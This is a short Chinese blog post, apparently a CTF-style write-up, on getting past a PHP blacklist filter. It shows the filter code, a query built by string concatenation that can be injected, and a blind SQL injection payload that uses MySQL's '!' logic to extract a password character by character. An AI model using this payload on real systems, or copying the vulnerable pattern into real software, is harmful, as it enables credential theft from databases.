美文网首页
一道简单的注入思考

一道简单的注入思考

作者: _Tos | 来源:发表于2017-04-22 15:58 被阅读0次

参数过滤以及传递如下:

function filter($str){
     $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; 
     if(preg_match($filter,$str)){
         die("you can't input this illegal char!");
     }
     return $str; 

}
function show($username){
  global $conn;
  $sql = "select role from `user` where username ='".$username."'";
  $res = $conn ->query($sql);
  if($res->num_rows>0){

      echo "$username is ".$res->fetch_assoc()['role'];
  }else{
      die("Don't have this user!");
  }
}

基本上注入常用的都过滤了,但是没有过滤(、)、'、",payload如下:
username="'!=!!(ascii(mid((passwd)from(1)))=51)!=!'"
这里利用的是MySQL逻辑处理:

TIM截图20170422155235.png TIM截图20170422155436.png
无论几个逻辑“!”的处理,结果都是!(value);
于是在利用中查询成功的逻辑为:
username=!空=!0=1

相关文章

  • 一道简单的注入思考

    参数过滤以及传递如下: 基本上注入常用的都过滤了,但是没有过滤(、)、'、",payload如下:username...

  • 网页入侵最后一道防线:CSP内容安全策略

    首先,什么是最后一道防线?网页入侵都有一个过程,简单来说,就是1.代码注入,2.代码执行。 对于黑客来说,代码注入...

  • 说说PHP中的SQL注入

    最近在工作中遇到一个 SQL 注入,虽然影响不是很大,但也足够让我静下来思考,SQL 注入问题好像很简单、好像每个...

  • 说说PHP中的SQL注入

    最近在工作中遇到一个 SQL 注入,虽然影响不是很大,但也足够让我静下来思考,SQL 注入问题好像很简单、好像每个...

  • 简单注入

    Usage: ManualInject [DLL name] [PID] How it works 1 ) Ope...

  • Dagger2使用(二)

    Dagger简单使用 要实现注入,至少需要@Component可以简单理解为注入器,由它将需要注入和对象实例提供连...

  • Jetpack - Hilt

    Jetpack - Hilt依赖注入、依赖注入框架Android 常用的依赖注入框架Hilt 的简单使用 1. 依...

  • C#依赖注入- setter注入

    在文章 C#依赖注入-初步概念了解 中,简单的介绍了依赖注入常用三种方式:setter注入,构造函数注入,接口注入...

  • Dagger2 源码分析

    Dagger简单介绍 Dagger2涉及到依赖注入,有关依赖注入的请到理解依赖注入 通过注解方式实现依赖注入分为两...

  • Sqlmap初学 实验吧 简单的SQL 一

    在学习sql注入的过程中,一开始只想着怎么手工注入,却发现手工注入的道路,说麻烦不麻烦,但是说简单也很不简单,相...

网友评论

      本文标题:一道简单的注入思考

      本文链接:https://www.haomeiwen.com/subject/eluszttx.html